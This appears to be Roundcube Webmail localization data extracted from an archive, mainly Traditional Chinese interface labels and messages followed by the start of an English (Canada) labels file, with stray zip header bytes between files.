$labels['uisettings'] = '使用者介面';
$labels['serversettings'] = '伺服器設定';
$labels['mailboxview'] = '信箱顯示';
$labels['mdnrequests'] = '讀取回條回應';
$labels['askuser'] = '詢問我';
$labels['autosend'] = '自動送出';
$labels['autosendknown'] = '傳送回條給我的聯絡人,其他則詢問我';
$labels['autosendknownignore'] = '傳送回條給我的聯絡人,其他則忽略';
$labels['autosendtrusted'] = '傳送回條給受信任的寄件者,否則請問我';
$labels['autosendtrustedignore'] = '傳送回條給受信任的寄件者,否則請忽略';
$labels['ignorerequest'] = '忽略要求';
$labels['readwhendeleted'] = '將刪除的郵件標示為已讀取';
$labels['flagfordeletion'] = '只將郵件標示為刪除,而非真的刪除';
$labels['skipdeleted'] = '不要顯示已刪除的郵件';
$labels['deletealways'] = '如果移動郵件到垃圾桶失敗,就直接刪除';
$labels['deletejunk'] = '直接刪除「垃圾郵件」中的郵件';
$labels['showremoteimages'] = '顯示遠端郵件內文的圖片';
$labels['allowremoteresources'] = '允許遠端資源 (圖像、樣式)';
$labels['fromknownsenders'] = '從已知的寄件者';
$labels['fromtrustedsenders'] = '來自受信任的寄件者';
$labels['frommycontacts'] = '來自我的聯絡人';
$labels['always'] = '總是';
$labels['alwaysbutplain'] = '總是,除非回覆純文字郵件';
$labels['showinlineimages'] = '將附加檔案的圖片顯示於郵件最後';
$labels['autosavedraft'] = '自動儲存草稿';
$labels['everynminutes'] = '每 $n 分鐘';
$labels['refreshinterval'] = '重新整理 (檢查新郵件等)';
$labels['never'] = '永不';
$labels['immediately'] = '立即';
$labels['messagesdisplaying'] = '郵件顯示';
$labels['messagescomposition'] = '撰寫郵件';
$labels['mimeparamfolding'] = '附加檔案名稱的編碼方式';
$labels['2231folding'] = '完全 RFC 2231 模式(Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 混合模式(MS Outlook)';
$labels['2047folding'] = '完全 RFC 2047 模式(其他)';
$labels['force7bit'] = '對 8 位元字元使用 MIME 編碼';
$labels['savelocalstorage'] = "( 暫時 ) 保存在瀏覽器的本機儲存";
$labels['advancedoptions'] = '進階選項';
$labels['toggleadvancedoptions'] = '切換高級選項';
$labels['focusonnewmessage'] = '收到新郵件時使瀏覽器獲得焦點';
$labels['checkallfolders'] = '對於所有資料夾,都要檢查有否新郵件';
$labels['displaynext'] = '刪除/移動之後,顯示下一個清單項目';
$labels['defaultfont'] = 'HTML 郵件的預設字型';
$labels['mainoptions'] = '主要選項';
$labels['browseroptions'] = '瀏覽器選項';
$labels['section'] = '分類';
$labels['maintenance'] = '管理';
$labels['newmessage'] = '新郵件';
$labels['signatureoptions'] = '簽名檔選項';
$labels['whenreplying'] = '回覆時';
$labels['replyempty'] = '不要包含原來的信件內容';
$labels['replytopposting'] = '在原文上方開始新郵件';
$labels['replytoppostingnoindent'] = '在原文上方開始新郵件 (無縮排)';
$labels['replybottomposting'] = '在原文下方開始新郵件';
$labels['replyremovesignature'] = '回覆時移除原有簽名檔';
$labels['autoaddsignature'] = '自動附加簽名';
$labels['newmessageonly'] = '僅新郵件';
$labels['replyandforwardonly'] = '僅回覆或轉寄時';
$labels['insertsignature'] = '插入簽名檔';
$labels['sigbelow'] = '將簽名置於引用郵件之後';
$labels['sigseparator'] = '在簽名強制使用標準分隔符號';
$labels['automarkread'] = '將郵件標記為已讀';
$labels['afternseconds'] = '$n 秒之後';
$labels['reqmdn'] = '總是索取讀取回條';
$labels['reqdsn'] = '總是要求傳送狀態通知';
$labels['replysamefolder'] = '將回信放在與原信件相同的資料夾';
$labels['defaultabook'] = '預設通訊錄';
$labels['autocompletesingle'] = '在自動完成時略過其他電郵地址';
$labels['listnamedisplay'] = '聯絡人顯示方式';
$labels['contactformmode'] = '聯絡人表單模式';
$labels['privatemode'] = '私人(家)';
$labels['businessmode'] = '商務(工作)';
$labels['collectedaddresses'] = '已蒐集的地址';
$labels['collectedrecipients'] = '已蒐集的收件者';
$labels['collectedrecipientsopt'] = '將寄送電子郵件收件者儲存於';
$labels['collectedsendersopt'] = '將受信任的寄件者儲存於';
$labels['trustedsenders'] = '受信任的寄件者';
$labels['spellcheckbeforesend'] = '寄送前執行拼字檢查';
$labels['spellcheckoptions'] = '拼字檢查選項';
$labels['spellcheckignoresyms'] = '忽略有符號的字';
$labels['spellcheckignorenums'] = '忽略有數字的字';
$labels['spellcheckignorecaps'] = '忽略全大寫字母的字';
$labels['addtodict'] = '加入詞典';
$labels['mailtoprotohandler'] = '註冊為 mailto: 連結的預設處理常式';
$labels['standardwindows'] = '以新視窗顯示彈出式對話框';
$labels['forwardmode'] = '郵件轉寄方式';
$labels['inline'] = '放入內文';
$labels['asattachment'] = '當成附件';
$labels['replyallmode'] = '「全部回覆」按鈕的預設動作';
$labels['replyalldefault'] = '全部回覆';
$labels['replyalllist'] = '只回覆郵件列表 (如有)';
$labels['allmessages'] = '所有郵件';
$labels['folder'] = '資料夾';
$labels['folders'] = '資料夾';
$labels['foldername'] = '資料夾名稱';
$labels['subscribed'] = '訂閱';
$labels['messagecount'] = '郵件數目';
$labels['create'] = '建立';
$labels['createfolder'] = '建立新資料夾';
$labels['managefolders'] = '管理資料夾';
$labels['specialfolders'] = '特殊資料夾';
$labels['properties'] = '屬性';
$labels['folderproperties'] = '資料夾屬性';
$labels['parentfolder'] = '上一層資料夾';
$labels['location'] = '位置';
$labels['info'] = '資訊';
$labels['getfoldersize'] = '點擊顯示資料夾大小';
$labels['changesubscription'] = '點擊以改變訂閱';
$labels['foldertype'] = '資料夾類型';
$labels['personalfolder'] = '私人資料夾';
$labels['otherfolder'] = '其他使用者資料夾';
$labels['sharedfolder'] = '公用資料夾';
$labels['findfolders'] = '尋找資料夾';
$labels['findcontacts'] = '尋找聯絡人';
$labels['findmail'] = '尋找郵件';
$labels['namespace.personal'] = '個人';
$labels['namespace.other'] = '其他使用者';
$labels['namespace.shared'] = '共享';
$labels['dualuselabel'] = '僅可包含';
$labels['dualusemail'] = '郵件';
$labels['dualusefolder'] = '資料夾';
$labels['generate'] = '建立';
$labels['encryptioncreatekey'] = '建立新的金鑰對';
$labels['openmailvelopesettings'] = '開啟 Mailvelope 設定';
$labels['encryptionprivkeysinmailvelope'] = '有 $nr 個符合的私鑰儲存於 Mailvelope 鑰匙圈:';
$labels['encryptionnoprivkeysinmailvelope'] = '未有在 Mailvelope 附加程式找到寄件者的身分的 PGP 私鑰。是否建立一個新的,以啟用郵件加密?';
$labels['encryption'] = '加密';
$labels['mailvelopeoptions'] = 'Mailvelope 選項';
$labels['mailvelopemainkeyring'] = '使用 Mailvelope 主鑰匙圈';
$labels['mailvelopenotfound'] = '您的瀏覽器未啟用/安裝 Mailvelope 擴充套件';
$labels['sortby'] = '排序';
$labels['sortasc'] = '遞增排序';
$labels['sortdesc'] = '遞減排序';
$labels['undo'] = '復原';
$labels['installedplugins'] = '已安裝的擴充套件';
$labels['plugin'] = '擴充套件';
$labels['version'] = '版本';
$labels['source'] = '來源';
$labels['destination'] = '目的地';
$labels['license'] = '授權許可';
$labels['support'] = '取得支援';
$labels['savedsearches'] = '儲存的搜尋樣式';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = '萬國碼';
$labels['english'] = '英文';
$labels['westerneuropean'] = '西歐語系';
$labels['easterneuropean'] = '東歐語系';
$labels['southeasterneuropean'] = '東南歐語系';
$labels['baltic'] = '波羅的海語系';
$labels['cyrillic'] = '西里爾字母';
$labels['arabic'] = '阿拉伯文';
$labels['greek'] = '希臘文';
$labels['hebrew'] = '希伯來文';
$labels['turkish'] = '土耳其文';
$labels['nordic'] = '北歐語系';
$labels['thai'] = '泰文';
$labels['celtic'] = '塞爾特語系';
$labels['vietnamese'] = '越南文';
$labels['japanese'] = '日文';
$labels['korean'] = '韓文';
$labels['chinese'] = '中文';
$labels['arialabeltopnav'] = '視窗控制';
$labels['arialabeltasknav'] = '應用程式任務';
$labels['arialabeltoolbar'] = '應用程式工具列';
$labels['arialabellistnav'] = '清單導覽';
$labels['arialabelactivetask'] = '現行的任務';
$labels['arialabelmessagessearchfilter'] = '電子郵件列表篩選';
$labels['arialabelmailsearchform'] = '電子郵件搜索表單';
$labels['arialabelcontactsearchform'] = '聯絡人搜索表單';
$labels['arialabelmailquicksearchbox'] = ' 電子郵件搜索輸入';
$labels['arialabelquicksearchbox'] = '搜索輸入';
$labels['arialabelfoldersearchfilter'] = '文件夾列表過濾器';
$labels['arialabelfoldersearchform'] = '文件夾搜索表單';
$labels['arialabelfolderlist'] = '電郵資料夾選擇';
$labels['arialabelmessagelist'] = '電郵列表';
$labels['arialabelmailpreviewframe'] = '郵件預覽';
$labels['arialabelmailboxmenu'] = '資料夾動作選單';
$labels['arialabellistselectmenu'] = '清單選擇選單';
$labels['arialabelthreadselectmenu'] = '郵件串列表選單';
$labels['arialabelmessagelistoptions'] = '郵件清單顯示及排序選項';
$labels['arialabelmailimportdialog'] = '郵件匯入對話匣';
$labels['arialabelmessagenav'] = '郵件導覽';
$labels['arialabelmessagebody'] = '郵件正文';
$labels['arialabelmessageactions'] = '郵件動作';
$labels['arialabelcontactquicksearch'] = '聯絡人搜尋表單';
$labels['arialabelcontactsearchbox'] = '聯絡人搜尋輸入';
$labels['arialabelmessageheaders'] = '郵件標頭';
$labels['arialabelforwardingoptions'] = '轉寄選項';
$labels['arialabelreplyalloptions'] = '「全部回覆」選項';
$labels['arialabelmoremessageactions'] = '更多郵件動作';
$labels['arialabelmorecontactactions'] = '更多聯絡人動作';
$labels['arialabelmarkmessagesas'] = '將所選郵件標示為...';
$labels['arialabelcomposeoptions'] = '撰寫選項';
$labels['arialabelresponsesmenu'] = '「罐頭」預設回應選單';
$labels['arialabelattachmentuploadform'] = '附件上載表單';
$labels['arialabelattachmentmenu'] = '附件選項';
$labels['arialabelmailtomenu'] = '電郵位址選項';
$labels['arialabelattachmentpreview'] = '附件預覽';
$labels['ariasummarycomposecontacts'] = '可以選取為收件者的聯絡人和群組清單';
$labels['arialabelcontactexportoptions'] = '聯絡人匯出選項';
$labels['arialabelabookgroupoptions'] = '通訊錄/群組選項';
$labels['arialabelpreferencesform'] = '設定表單';
$labels['arialabelidentityeditfrom'] = '身份編輯表單';
$labels['arialabelresponseeditfrom'] = '預設回應編輯表單';
$labels['arialabelsearchterms'] = '搜尋項目';
$labels['arialabeldropactionmenu'] = '拖曳動作選單';
$labels['arialabelheadersmenu'] = '收件者 (標頭) 加入選單';
$labels['arialabelimagetools'] = '圖像工具';
$labels['helplistnavigation'] = '清單鍵盤導覽';
$labels['helplistkeyboardnavigation'] = "上下箭嘴:移動焦點/選取列
空格鍵:選取焦點列
Shift + 上/下:額外選取上面或下面的列
Ctrl + 空格鍵:將焦點列加入選取/將焦點列移出選取";
$labels['helplistkeyboardnavmessages'] = "左/右箭嘴:展開/收起郵件串 (僅在郵件串模式有效)
Enter:開啟所選/焦點郵件
Del:將所選郵件移至垃圾桶";
$labels['helplistkeyboardnavcontacts'] = "Enter:開啟所選/焦點聯絡人";
PK
h�\��g
=
='program/localization/zh_TW/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '發生錯誤!';
$messages['loginfailed']  = '登入失敗';
$messages['cookiesdisabled'] = '你的瀏覽器不接受 cookies';
$messages['sessionerror'] = '你的工作階段已失效或過期';
$messages['cookiesmismatch'] = '偵測到有不相符的 Cookie,請清理瀏覽器的 cookie。';
$messages['storageerror'] = '連線到 IMAP 伺服器失敗';
$messages['servererror'] = '伺服器出錯!';
$messages['servererrormsg'] = '伺服器出錯:$msg';
$messages['accountlocked'] = '登入失敗太多次。請稍後再嘗試';
$messages['connerror'] = '連線出錯 (無法連線到伺服器)!';
$messages['dberror'] = '資料庫出錯!';
$messages['dbconnerror'] = '無法連線至資料庫!';
$messages['windowopenerror'] = '瀏覽器阻擋了彈出式視窗!';
$messages['requesttimedout'] = '要求逾時';
$messages['errorreadonly'] = '動作無法完成。資料夾唯讀';
$messages['errornoperm'] = '動作無法完成。權限不符';
$messages['erroroverquota'] = '動作無法完成。硬碟空間不夠';
$messages['erroroverquotadelete'] = '硬碟空間不夠,請使用 SHIFT+DEL 來刪除郵件';
$messages['invalidrequest'] = '要求無效!未儲存任何資料';
$messages['invalidhost'] = '伺服器名稱無效';
$messages['nomessagesfound'] = '此郵件匣沒有郵件';
$messages['loggedout'] = '已成功結束工作階段。再見!';
$messages['mailboxempty'] = '郵件匣是空的';
$messages['nomessages'] = '沒有郵件';
$messages['refreshing'] = '重新整理中...';
$messages['loading'] = '載入中...';
$messages['uploading'] = '上傳檔案中...';
$messages['attaching'] = '附加檔案中...';
$messages['uploadingmany'] = '上傳檔案中...';
$messages['loadingdata'] = '載入資料中...';
$messages['checkingmail'] = '檢查新郵件...';
$messages['sendingmessage'] = '寄出郵件中...';
$messages['messagesent'] = '郵件成功寄出';
$messages['savingmessage'] = '儲存郵件中...';
$messages['messagesaved'] = '郵件已經儲存至草稿匣';
$messages['successfullysaved'] = '儲存成功';
$messages['savingresponse'] = '儲存預設回應中...';
$messages['deleteresponseconfirm'] = '確定要刪除這個預設回應嗎?';
$messages['nocontactselected'] = '尚未選取聯絡人。';
$messages['addedsuccessfully'] = '聯絡人已經成功新增至通訊錄';
$messages['contactexists'] = '已有相同電郵位址的聯絡人';
$messages['contactnameexists'] = '已有相同名稱的聯絡人';
$messages['blockedimages'] = '為了保護你的隱私,已經阻擋此郵件的遠端圖片。';
$messages['blockedresources'] = '已阻擋遠端資源,以保障您的隱私。';
$messages['suspiciousemail'] = '此訊息包含了可能是詐欺的可疑電子郵件地址。';
$messages['encryptedmessage'] = '此郵件經過加密,因此無法顯示。抱歉!';
$messages['externalmessagedecryption'] = '此郵件經過加密,可以用你瀏覽器的擴充程式解密';
$messages['nopubkeyfor'] = '找不到用於 $email 的有效公鑰';
$messages['nopubkeyforsender'] = '找不到用於你寄件者身份的有效公鑰。是否只為該收件者加密郵件?';
$messages['encryptnoattachments'] = '已上傳的附件無法加密。請在加密編輯器重新加入';
$messages['searchpubkeyservers'] = '是否在公鑰伺服器搜尋缺少的金鑰?';
$messages['encryptpubkeysfound'] = '找到以下公鑰:';
$messages['keyservererror'] = '未能從金鑰伺服器取得金鑰。';
$messages['keyimportsuccess'] = '成功將公鑰 $key 匯入到您的鎖匙圈。';
$messages['nocontactsfound'] = '找不到聯絡人';
$messages['contactnotfound'] = '找不到要求的聯絡人';
$messages['contactsearchonly'] = '要使用搜尋表格,才能在所選的通訊錄看到聯絡人。';
$messages['sendingfailed'] = '郵件寄出失敗';
$messages['senttooquickly'] = '你寄出的郵件太過於頻繁,請稍候 $sec 秒後再試一次。';
$messages['errorsavingsent'] = '儲存郵件到寄件備份時發生錯誤。';
$messages['errorsaving'] = '儲存時發生錯誤。';
$messages['errormoving'] = '無法移動此郵件';
$messages['errorcopying'] = '無法複製此郵件';
$messages['errordeleting'] = '無法刪除此郵件';
$messages['errormarking'] = '無法標記此郵件';
$messages['alerttitle'] = '注意';
$messages['confirmationtitle'] = '真的確定嗎...';
$messages['deletecontactconfirm']  = '確定要刪除所選的聯絡人嗎?';
$messages['deletegroupconfirm']  = '確定要刪除所選的群組嗎?';
$messages['deletemessagesconfirm'] = '確定要刪除所選的郵件嗎?';
$messages['deletefolderconfirm']  = '確定要刪除這個資料夾嗎?';
$messages['movefolderconfirm']  = '確定要移動此資料夾嗎?';
$messages['purgefolderconfirm']  = '確定要刪除這個資料夾裡面所有的郵件嗎?';
$messages['contactdeleting'] = '刪除聯絡人...';
$messages['groupdeleting'] = '刪除群組...';
$messages['folderdeleting'] = '刪除資料夾...';
$messages['foldermoving'] = '移動資料夾中...';
$messages['foldersubscribing'] = '訂閱資料夾...';
$messages['folderunsubscribing'] = '取消訂閱資料夾...';
$messages['formincomplete'] = '這個表單有部分未填,請完整填寫';
$messages['noemailwarning'] = '請輸入有效的電子郵件位址';
$messages['nonamewarning']  = '請輸入名字';
$messages['nopagesizewarning'] = '請輸入一頁顯示多少郵件';
$messages['nosenderwarning'] = '請輸入寄件者的電郵位址';
$messages['recipientsadded'] = '成功加入收件者。';
$messages['norecipientwarning'] = '請輸入至少一位收件者';
$messages['disclosedrecipwarning'] = '所有收件者都會看到其他人的電郵位址。要防止這件事發生,以及保護其隱私,可以用「密件副本(Bcc)」欄位';
$messages['disclosedreciptitle'] = '太多公開收件者';
$messages['nosubjectwarning']  = '「主旨」欄是空的。要輸入主旨嗎?';
$messages['nosubjecttitle']  = '無主旨';
$messages['nobodywarning'] = '要傳送沒有內文的郵件嗎?';
$messages['notsentwarning'] = '郵件尚未寄出,並且有未儲存的改動。是否捨棄該改動?';
$messages['restoresavedcomposedata'] = '發現一封上次編寫但尚未寄出的郵件。\n\n主旨: $subject\n日期: $date\n\n要回復這封郵件嗎?';
$messages['nosearchname'] = '請輸入聯絡人姓名或電子郵件位址';
$messages['notuploadedwarning'] = '尚有附件檔案未上傳完畢;請稍候,或取消上傳';
$messages['searchsuccessful'] = '共找到 $nr 封郵件';
$messages['contactsearchsuccessful'] = '共找到 $nr 個聯絡人';
$messages['searchnomatch'] = '找不到符合的郵件';
$messages['searching'] = '搜尋中...';
$messages['checking'] = '檢查中...';
$messages['stillsearching'] = '仍在搜尋中...';
$messages['nospellerrors'] = '沒有找到拼字錯誤';
$messages['folderdeleted'] = '資料夾已經成功刪除';
$messages['foldersubscribed'] = '資料夾成功訂閱';
$messages['folderunsubscribed'] = '資料夾成功取消訂閱';
$messages['deletedsuccessfully'] = '刪除成功';
$messages['converting'] = '移除郵件格式中...';
$messages['messageopenerror'] = '無法從伺服器載入郵件';
$messages['filelinkerror'] = '未能附加檔案。';
$messages['fileuploaderror'] = '未能上傳檔案。';
$messages['csvfilemismatch'] = '不支援匯入多個有不同欄位的 CSV 檔案。';
$messages['filesizeerror'] = '上傳的檔案超過了 $size 的大小限制。';
$messages['filecounterror'] = '一次只能上傳最多 $count 個檔案';
$messages['msgsizeerror'] = '未能附加檔案。因為超過了郵件的大小限制 ($size)';
$messages['msgsizeerrorfwd'] = '已超過郵件大小的 ($size) 上限。未能附上 $num 個郵件。';
$messages['copysuccess'] = '複製了 $nr 個聯絡人。';
$messages['movesuccess'] = '移動了 $nr 個聯絡人。';
$messages['copyerror'] = '無法複製聯絡人。';
$messages['moveerror'] = '無法移動聯絡人。';
$messages['sourceisreadonly'] = '此來源位址是唯讀的';
$messages['errorsavingcontact'] = '無法儲存聯絡人的位址';
$messages['movingmessage'] = '正在移動郵件...';
$messages['copyingmessage'] = '正在複製郵件...';
$messages['copyingcontact'] = '正在複製聯絡人...';
$messages['movingcontact'] = '正在移動聯絡人...';
$messages['deletingmessage'] = '正在刪除郵件...';
$messages['markingmessage'] = '正在標記郵件...';
$messages['addingmember'] = '正在新增聯絡人至群組...';
$messages['removingmember'] = '正在從群組刪除聯絡人...';
$messages['receiptsent'] = '閱讀回條傳送成功';
$messages['errorsendingreceipt'] = '無法傳送回條';
$messages['deleteidentityconfirm'] = '確定要刪除這個身份嗎?';
$messages['nodeletelastidentity'] = '不能刪除此身份,因為只剩一個身份。';
$messages['forbiddencharacter'] = '資料夾名稱包含非法的字元';
$messages['selectimportfile'] = '請選擇要上傳的檔案。';
$messages['addresswriterror'] = '無法寫入所選的通訊錄';
$messages['contactaddedtogroup'] = '成功把聯絡人加入此群組';
$messages['contactremovedfromgroup'] = '成功移除此群組中的聯絡人';
$messages['nogroupassignmentschanged'] = '群組資料沒有異動';
$messages['importwait'] = '匯入中,請稍候...';
$messages['importformaterror'] = '匯入失敗!不支援上載的檔案格式。';
$messages['importconfirm'] = '<b>成功匯入 $inserted 個聯絡人</b>';
$messages['importconfirmskipped'] = '<b>略過 $skipped 個已存在的項目</b>';
$messages['importmessagesuccess'] = '成功匯入 $nr 封郵件';
$messages['importmessageerror'] = '匯入失敗!上載的檔案不是有效的郵件或 mailbox 檔案。';
$messages['opnotpermitted'] = '不允許此操作!';
$messages['nofromaddress'] = '所選身份缺少電郵位址';
$messages['editorwarning'] = '切換編輯器模式,可能會丟失所有文字已設定的樣式。確定要繼續嗎?';
$messages['httpreceivedencrypterror'] = '發生嚴重錯誤。請立即聯絡管理者。<b>您的郵件無法送出。</b>';
$messages['smtpconnerror'] = 'SMTP 錯誤($code):與伺服器連線失敗';
$messages['smtpautherror'] = 'SMTP 錯誤($code):身份核對失敗';
$messages['smtpfromerror'] = 'SMTP 錯誤($code):無法設定寄件者「$from」($msg)';
$messages['smtptoerror'] = 'SMTP 錯誤($code):無法加入收件者「$to」($msg)';
$messages['smtprecipientserror'] = 'SMTP 錯誤:無法解讀收件者清單';
$messages['smtputf8error'] = 'SMTP 錯誤:伺服器不支援電郵位址有 Unicode。';
$messages['smtpsizeerror'] = 'SMTP 錯誤:郵件大小超過伺服器限制 ($limit)';
$messages['smtperror'] = 'SMTP 錯誤:$msg';
$messages['emailformaterror'] = '電郵位址無效:$email';
$messages['toomanyrecipients'] = '太多收件人。請減少至 $max 人';
$messages['maxgroupmembersreached'] = '太多群組成員,超過最大人數 $max 人';
$messages['internalerror'] = '發生內部錯誤。請再次嘗試。';
$messages['contactdelerror'] = '無法刪除聯絡人';
$messages['contactdeleted'] = '聯絡人成功刪除';
$messages['contactrestoreerror'] = '無法復原刪除的聯絡人';
$messages['contactrestored'] = '聯絡人復原完成';
$messages['groupdeleted'] = '群組成功刪除';
$messages['grouprenamed'] = '群組重新命名成功';
$messages['groupcreated'] = '群組建立成功';
$messages['savedsearchdeleted'] = '搜尋結果刪除完成';
$messages['savedsearchdeleteerror'] = '無法刪除搜尋結果';
$messages['savedsearchcreated'] = '搜尋結果建立完成';
$messages['savedsearchcreateerror'] = '無法建立搜尋結果';
$messages['messagedeleted'] = '成功刪除郵件';
$messages['messagemoved'] = '成功移動郵件';
$messages['messagemovedtotrash'] = '成功將郵件移至垃圾桶';
$messages['messagecopied'] = '成功複製郵件';
$messages['messagemarked'] = '成功標示郵件';
$messages['autocompletechars'] = '輸入至少 $min 字元才能進行自動完成';
$messages['autocompletemore'] = '過多相符項目,請輸入更多文字';
$messages['namecannotbeempty'] = '名稱不可空白';
$messages['nametoolong'] = '名稱太長';
$messages['namedotforbidden'] = '資料夾名稱不能以點 (.) 開首';
$messages['folderupdated'] = '資料夾成功更新';
$messages['foldercreated'] = '資料夾成功建立';
$messages['invalidimageformat'] = '圖片格式錯誤';
$messages['mispellingsfound'] = '郵件中偵測到拼字錯誤';
$messages['parentnotwritable'] = '無法建立/移動資料夾至指定的上層目錄,因為無存取權限';
$messages['messagetoobig'] = '郵件太大,無法處理';
$messages['attachmentvalidationerror'] = '附件有可疑,因其類型不符合在郵件宣稱的。如不信任寄件者,不應在瀏覽器開啟,因可能有惡意內容。<br/><br/><em>預期的是:$expected;收到的是:$detected</em>';
$messages['noscriptwarning'] = '警告:使用 Webmail 要有 Javascript 支援!請確定您瀏覽器已啟用 Javascript';
$messages['messageissent'] = '此郵件已經寄出,但尚未儲存。是否立即儲存?';
$messages['errnotfound'] = '找不到檔案';
$messages['errnotfoundexplain'] = '找不到要求的資源!';
$messages['errfailedrequest'] = '要求失敗';
$messages['errauthorizationfailed'] = '授權失敗';
$messages['errunauthorizedexplain'] = '無法核實您有權使用此服務!';
$messages['errrequestcheckfailed'] = '要求檢查失敗';
$messages['errcsrfprotectionexplain'] = "為了您的安全起見,此服務能防止您被騙去做某些動作。\n如您看到此訊息,代表您離開結束此網站時並未登出。\n\n現在需要加入人手操作才能繼續。";
$messages['errcontactserveradmin'] = '請聯絡您的伺服器管理者';
$messages['clicktoresumesession'] = '按此繼續之前的工作階段';
$messages['errcomposesession'] = '撰寫工作階段出錯';
$messages['errcomposesessionexplain'] = '找不到要求的撰寫工作階段';
$messages['clicktocompose'] = '按此撰寫新郵件';
$messages['nosupporterror'] = '您的瀏覽器不支援此功能。';
$messages['siginserted'] = '已加入簽章。';
$messages['responseinserted'] = '已加入回應。';
$messages['noresponsesavailable'] = '無回應';
$messages['listempty'] = '列表沒有內容';
$messages['listusebutton'] = '按「建立」鈕加入新紀錄';
$messages['keypaircreatesuccess'] = '已為 $identity 建立新的金鑰對。';
$messages['emptyattachment'] = '此附件似乎是空的。<br>請與傳送此電子郵件的人聯絡。';
$messages['oauthloginfailed'] = 'OAuth 登入失敗。請重試。';
PK
h�\�@�� O O%program/localization/en_CA/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Welcome to $product';
$labels['username'] = 'Username';
$labels['password'] = 'Password';
$labels['server'] = 'Server';
$labels['login'] = 'Login';
$labels['logout'] = 'Logout';
$labels['mail'] = 'Mail';
$labels['settings'] = 'Settings';
$labels['addressbook'] = 'Address Book';
$labels['inbox'] = 'Inbox';
$labels['drafts'] = 'Drafts';
$labels['sent'] = 'Sent';
$labels['trash'] = 'Trash';
$labels['junk'] = 'Junk';
$labels['show_real_foldernames'] = 'Show real names for special folders';
$labels['subject'] = 'Subject';
$labels['from'] = 'From';
$labels['sender'] = 'Sender';
$labels['to'] = 'To';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Reply-To';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Date';
$labels['size'] = 'Size';
$labels['priority'] = 'Priority';
$labels['organization'] = 'Organization';
$labels['readstatus'] = 'Read status';
$labels['listoptions'] = 'List options...';
$labels['mailboxlist'] = 'Folders';
$labels['messagesfromto'] = 'Messages $from to $to of $count';
$labels['threadsfromto'] = 'Threads $from to $to of $count';
$labels['messagenrof'] = 'Message $nr of $count';
$labels['fromtoshort'] = '$from – $to of $count';
$labels['copy'] = 'Copy';
$labels['move'] = 'Move';
$labels['moveto'] = 'Move to...';
$labels['copyto'] = 'Copy to...';
$labels['download'] = 'Download';
$labels['open'] = 'Open';
$labels['showattachment'] = 'Show';
$labels['showanyway'] = 'Show it anyway';
$labels['filename'] = 'File name';
$labels['filesize'] = 'File size';
$labels['addtoaddressbook'] = 'Add to address book';
$labels['sun'] = 'Sun';
$labels['mon'] = 'Mon';
$labels['tue'] = 'Tue';
$labels['wed'] = 'Wed';
$labels['thu'] = 'Thu';
$labels['fri'] = 'Fri';
$labels['sat'] = 'Sat';
$labels['sunday'] = 'Sunday';
$labels['monday'] = 'Monday';
$labels['tuesday'] = 'Tuesday';
$labels['wednesday'] = 'Wednesday';
$labels['thursday'] = 'Thursday';
$labels['friday'] = 'Friday';
$labels['saturday'] = 'Saturday';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'May';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Oct';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'January';
$labels['longfeb'] = 'February';
$labels['longmar'] = 'March';
$labels['longapr'] = 'April';
$labels['longmay'] = 'May';
$labels['longjun'] = 'June';
$labels['longjul'] = 'July';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'October';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';
$labels['today'] = 'Today';
$labels['refresh'] = 'Refresh';
$labels['checkmail'] = 'Check for new messages';
$labels['compose'] = 'Compose';
$labels['writenewmessage'] = 'Create a new message';
$labels['reply'] = 'Reply';
$labels['replytomessage'] = 'Reply to sender';
$labels['replytoallmessage'] = 'Reply to list or to sender and all recipients';
$labels['replyall'] = 'Reply all';
$labels['replylist'] = 'Reply list';
$labels['forward'] = 'Forward';
$labels['forwardinline'] = 'Forward inline';
$labels['forwardattachment'] = 'Forward as attachment';
$labels['forwardmessage'] = 'Forward the message';
$labels['deletemessage'] = 'Delete message';
$labels['movemessagetotrash'] = 'Move message to trash';
$labels['printmessage'] = 'Print this message';
$labels['previousmessage'] = 'Show previous message';
$labels['firstmessage'] = 'Show first message';
$labels['nextmessage'] = 'Show next message';
$labels['lastmessage'] = 'Show last message';
$labels['backtolist'] = 'Back to message list';
$labels['viewsource'] = 'Show source';
$labels['mark'] = 'Mark';
$labels['markmessages'] = 'Mark messages';
$labels['markread'] = 'As read';
$labels['markunread'] = 'As unread';
$labels['markflagged'] = 'As flagged';
$labels['markunflagged'] = 'As unflagged';
$labels['moreactions'] = 'More actions...';
$labels['folders-all'] = 'All folders';
$labels['more'] = 'More';
$labels['back'] = 'Back';
$labels['options'] = 'Options';
$labels['select'] = 'Select';
$labels['all'] = 'All';
$labels['none'] = 'None';
$labels['currpage'] = 'Current page';
$labels['isread'] = 'Read';
$labels['unread'] = 'Unread';
$labels['flagged'] = 'Flagged';
$labels['unanswered'] = 'Unanswered';
